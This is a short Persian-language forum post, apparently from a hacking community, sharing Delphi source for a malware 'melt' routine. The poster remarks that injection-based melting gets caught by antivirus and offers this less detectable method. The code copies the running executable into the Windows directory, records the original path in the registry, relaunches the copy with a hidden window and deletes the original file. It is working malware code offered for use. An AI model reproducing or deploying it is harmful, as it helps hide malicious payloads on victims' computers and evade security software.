ملت سرور از طریق اینجکشن خیلی روش قشنگیه ولی آنتی خیلی به این چیزا گیر میده قبلا تست کردم واسه همین بهتره از روشی که غیرقابل شناسایی تره استفاده بشه.
ممنون مبین جان.
کد:
program melt;
uses
windows;
var
theoldfile,ournewfile:string;
function ShellExecuteA(hWnd: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll';
function WriteToReg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;
Function ReadFromReg(Key:HKEY;Path:string;Value,Default:string):string;
Var
Handle:HKEY;
RegType:integer;
DataSize:integer;
begin
Result:=Default;
if (RegOpenKeyEx(Key,pchar(Path),0,KEY_ALL_ACCESS,Handle)=ERROR_SUCCESS) then begin
if RegQueryValueEx(Handle,pchar(Value),nil,@RegType,nil,@DataSize)=ERROR_SUCCESS then begin
SetLength(Result,Datasize);
RegQueryValueEx(Handle,pchar(Value),nil,@RegType,PByte(pchar(Result)),@DataSize);
SetLength(Result,Datasize-1);
end;
RegCloseKey(Handle);
end;
end;
function getwindir():string;
var
windir:array [0..1024] of char;
begin
getwindowsdirectory(windir,56);
result:=string(windir)+'\';
end;
begin
theoldfile:=readfromreg(HKEY_current_user,'Software\Microsoft\Windows\CurrentVersion\settings','LocationOld','DIDNT FIND ANYTHING') ;
ournewfile:=getwindir+'copyofMelt.exe';
if paramstr(0) <> ournewfile then begin
deletefile(pchar(theoldfile));
writetoreg(HKEY_current_user,'Software\Microsoft\Windows\CurrentVersion\settings','LocationOld',paramstr(0));
Copyfile(pchar(paramstr(0)),pchar(ournewfile),false);
shellexecuteA(0,nil,pchar(OurNewFile),nil,nil,0);
halt(0)
end
else begin
deletefile(pchar(theoldfile));
end;
while true do sleep(1000);
end.